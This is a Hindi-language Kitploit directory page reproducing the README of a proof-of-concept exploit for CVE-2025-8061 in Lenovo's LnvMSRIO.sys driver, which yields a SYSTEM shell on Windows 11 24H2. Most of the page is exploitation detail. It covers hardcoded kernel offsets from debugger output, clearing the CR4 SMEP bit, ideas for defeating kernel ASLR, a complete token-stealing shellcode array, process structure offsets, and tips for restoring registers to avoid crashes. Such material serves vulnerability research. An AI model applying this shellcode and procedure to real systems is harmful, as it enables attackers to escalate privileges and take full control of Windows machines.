Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Lenovo-CVE-2025-8061 — LnvMSRIO.sys ड्राइवर के विरुद्ध सिस्टम शेल प्राप्त करने के लिए PoC | Kitploit
उपकरण/GitHubGitHub/symeonp/lenovo-cve-2025-8061
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणशेलकोडपेलोड डेवलपमेंटबाइनरी शोषण
GitHubsymeonp/lenovo-cve-2025-8061

Lenovo-CVE-2025-8061

LnvMSRIO.sys ड्राइवर के विरुद्ध सिस्टम शेल प्राप्त करने के लिए PoC

रिपॉजिटरी देखें
12515511 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सिस्टम शेल.

Lenovo-CVE-2025-8061

LnvMSRIO.sys (3.1.0.36) ड्राइवर के विरुद्ध सिस्टम शेल प्राप्त करने के लिए PoC। सभी श्रेय मूल लेखक Luis Casvella, Quarkslab से को जाते हैं। यह नवीनतम Windows 11 Version 24H2 (KVAShadowing और Core Isolation अक्षम होने पर) के विरुद्ध काम करता है!

[!NOTE] इसे नवीनतम Visual Studio 22 का उपयोग करके संकलित किया गया था।

शोषण के लिए उपयोगी नोट्स

[!CAUTION] इस शोषण के ऑफसेट Windows संस्करण के लिए हार्डकोडेड हैं: Edition build lab: 26100.1.amd64fre.ge_release.240331-1435। इसलिए आपको अपने सिस्टम को संशोधित/डीबग करने की आवश्यकता है क्योंकि वे उनसे भिन्न होंगे जो मैंने इसके लिए उपयोग किए हैं।

KiSystemCall64 ऑफसेट स्पष्ट रूप से लेखक के ऑफसेट से भिन्न था:

#define FUNCTION_OFFSET__KISYSTEMCALL64 0x6b2b40 // nt!KiSystemCall64 offset

root@kitploit:~
0: kd> rdmsr c0000082
msr[c0000082] = fffff801`e76b2b40
0: kd> ? fffff801`e76b2b40 - nt
Evaluate expression: 7023424 = 00000000`006b2b40

SMEP अक्षम करना

मेरे सिस्टम के लिए cr4 रजिस्टर का वर्तमान मान 0x00350EF8 था इसलिए SMEP को अक्षम करने के लिए आपको बिट 20 को साफ़ करना होगा:

root@kitploit:~
0x350ef8 = 0011 0101 0000 1110 1111 1000
Bit 20 (SMEP) = 1 (enabled)

इसलिए सही मान ज्ञात करने के लिए: 0x350ef8 & ~0x100000 = 0x250ef8

अपने सिस्टम के CR4 को सत्यापित करें पहले जाँचें कि आपके सिस्टम में CR4 का मान क्या होना चाहिए:

root@kitploit:~
? cr4 & 0x100000   ; Check if bit 20 is set

यूज़र मोड शेलकोडिंग अनुभाग में वापसी के दौरान यह बहुत महत्वपूर्ण है कि आप इसे इसके मूल मान पर पुनर्स्थापित करें!

ASLR बाईपास।

एक भिन्न मशीन का उपयोग करते हुए:

root@kitploit:~
6: kd> r cr4
cr4=0000000000370678
6: kd> rdmsr C0000082
msr[c0000082] = fffff803`88d7a200
6: kd> u fffff803`88d7a200
nt!KiSystemCall64Shadow:
fffff803`88d7a200 0f01f8          swapgs
fffff803`88d7a203 654889242510b00000 mov   qword ptr gs:[0B010h],rsp
fffff803`88d7a20c 65488b242500b00000 mov   rsp,qword ptr gs:[0B000h]
--snip--
6: kd> ? fffff803`88d7a200 - nt
Evaluate expression: 12034560 = 00000000`00b7a200

जैसा कि आप देख सकते हैं ये सभी भिन्न हैं और तकनीकी रूप से यहाँ कोई ASLR बाईपास नहीं है (meh).. शोध करने की तकनीकें:

root@kitploit:~
1. Signature Scanning 
Once you have KiSystemCall64Shadow address from LSTAR, scan backwards or forwards for known byte patterns that are stable across versions. For example:

// KiSystemCall64Shadow always starts with: swapgs (0f 01 f8)
// Verify you have the right address
if (memcmp(leaked_address, "\x0f\x01\xf8", 3) != 0) {
    // Invalid - adjust offset
}

// Then scan for other gadgets relative to this known point
// For example, find "pop rcx; ret" pattern: 59 c3

2. Use Known Offsets Between Functions
Some offsets between kernel functions are more stable. Once you have KiSystemCall64Shadow:

// KiSystemCall64 is usually nearby (a few KB away)
// Scan the region for the standard KiSystemCall64 prologue
// Search for: 0f 01 f8 65 48 89 24 25 (swapgs + mov gs:[...], rsp)

टोकन चोरी शेलकोड।

चूँकि मैं फिर से एक अलग संस्करण का उपयोग कर रहा हूँ, मुझे उस शेलकोड में थोड़ा संशोधन करना पड़ा:

root@kitploit:~
unsigned char tokenSteal[] = {
    0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  // mov rax, gs:[0x188]
    0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00,              // mov rax, [rax+0x220] <- Changed from 0xb8
    0x49, 0x89, 0xC0,                                       // mov r8, rax
    0x4D, 0x8B, 0x80, 0xD8, 0x01, 0x00, 0x00,              // mov r8, [r8+0x1d8]
    0x49, 0x81, 0xE8, 0xD8, 0x01, 0x00, 0x00,              // sub r8, 0x1d8
    0x4D, 0x8B, 0x88, 0xD0, 0x01, 0x00, 0x00,              // mov r9, [r8+0x1d0]
    0x49, 0x83, 0xF9, 0x04,                                 // cmp r9, 4
    0x75, 0xE5,                                             // jne (loop back)
    0x49, 0x8B, 0x88, 0x48, 0x02, 0x00, 0x00,              // mov rcx, [r8+0x248]
    0x80, 0xE1, 0xF0,                                       // and cl, 0xf0
    0x48, 0x89, 0x88, 0x48, 0x02, 0x00, 0x00               // mov [rax+0x248], rcx
};

इनके लिए आपको निम्नलिखित संरचनाओं की जाँच करनी होगी और समायोजित करना होगा: 0: kd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 GdtBase : Ptr64 _KGDTENTRY64 +0x008 TssBase : Ptr64 _KTSS64 +0x010 UserRsp : Uint8B +0x018 Self : Ptr64 _KPCR +0x020 CurrentPrcb : Ptr64 _KPRCB +0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE +0x030 Used_Self : Ptr64 Void +0x038 IdtBase : Ptr64 _KIDTENTRY64 +0x040 Unused : [2] Uint8B +0x050 Irql : UChar +0x051 SecondLevelCacheAssociativity : UChar +0x052 ObsoleteNumber : UChar +0x053 Fill0 : UChar +0x054 Unused0 : [3] Uint4B +0x060 MajorVersion : Uint2B +0x062 MinorVersion : Uint2B +0x064 StallScaleFactor : Uint4B +0x068 Unused1 : [3] Ptr64 Void +0x080 KernelReserved : [15] Uint4B +0x0bc SecondLevelCacheSize : Uint4B +0x0c0 HalReserved : [16] Uint4B +0x100 Unused2 : Uint4B +0x108 KdVersionBlock : Ptr64 Void +0x110 Unused3 : Ptr64 Void +0x118 PcrAlign1 : [24] Uint4B +0x180 Prcb : _KPRCB 0: kd> dt nt!_EPROCESS ActiveProcessLinks +0x1d8 ActiveProcessLinks : _LIST_ENTRY 0: kd> dt nt!_EPROCESS UniqueProcessId +0x1d0 UniqueProcessId : Ptr64 Void 0: kd> dt nt!_EPROCESS Token +0x248 Token : _EX_FAST_REF 0: kd> dt nt!_KTHREAD Process +0x220 Process : Ptr64 _KPROCESS 0: kd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 GdtBase : Ptr64 _KGDTENTRY64 +0x008 TssBase : Ptr64 _KTSS64 +0x010 UserRsp : Uint8B +0x018 Self : Ptr64 _KPCR +0x020 CurrentPrcb : Ptr64 _KPRCB +0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE +0x030 Used_Self : Ptr64 Void +0x038 IdtBase : Ptr64 _KIDTENTRY64 +0x040 Unused : [2] Uint8B +0x050 Irql : UChar +0x051 SecondLevelCacheAssociativity : UChar +0x052 ObsoleteNumber : UChar +0x053 Fill0 : UChar +0x054 Unused0 : [3] Uint4B +0x060 MajorVersion : Uint2B +0x062 MinorVersion : Uint2B +0x064 StallScaleFactor : Uint4B +0x068 Unused1 : [3] Ptr64 Void +0x080 KernelReserved : [15] Uint4B +0x0bc SecondLevelCacheSize : Uint4B +0x0c0 HalReserved : [16] Uint4B +0x100 Unused2 : Uint4B +0x108 KdVersionBlock : Ptr64 Void +0x110 Unused3 : Ptr64 Void +0x118 PcrAlign1 : [24] Uint4B +0x180 Prcb : _KPRCB 0: kd> dt nt!_KPRCB CurrentThread +0x008 CurrentThread : Ptr64 _KTHREAD

swapgs syscall

swapgs को निष्पादित करने से ठीक पहले यह बहुत महत्वपूर्ण है कि rcx मुख्य प्रोग्राम की ओर वापस इंगित करे ताकि निष्पादन जारी रह सके। ऐसा न करने पर आपका VM फ़्रीज़ हो जाएगा!

swapgs निर्देश को निष्पादित करते हुए।

rdmsr c0000082 पता

सुनिश्चित करें कि आप इस मान को भी इसके मूल मान पर पुनर्स्थापित करें। ऐसा न करने पर VM फिर से फ़्रीज़ हो जाएगा :)

TODO

  • MSR LSTAR मनमाना पठन का उपयोग करके गैजेट्स प्राप्त करने के और सामान्य तरीके खोजें!
  • ट्विटर पर टिप्पणी के अनुसार, CR3 रजिस्टर को पढ़ने के लिए लो स्टब विधि का उपयोग करने का तरीका खोजें। और फिर हम VA को PA में परिवर्तित कर सकते हैं।
टूल डाउनलोड करें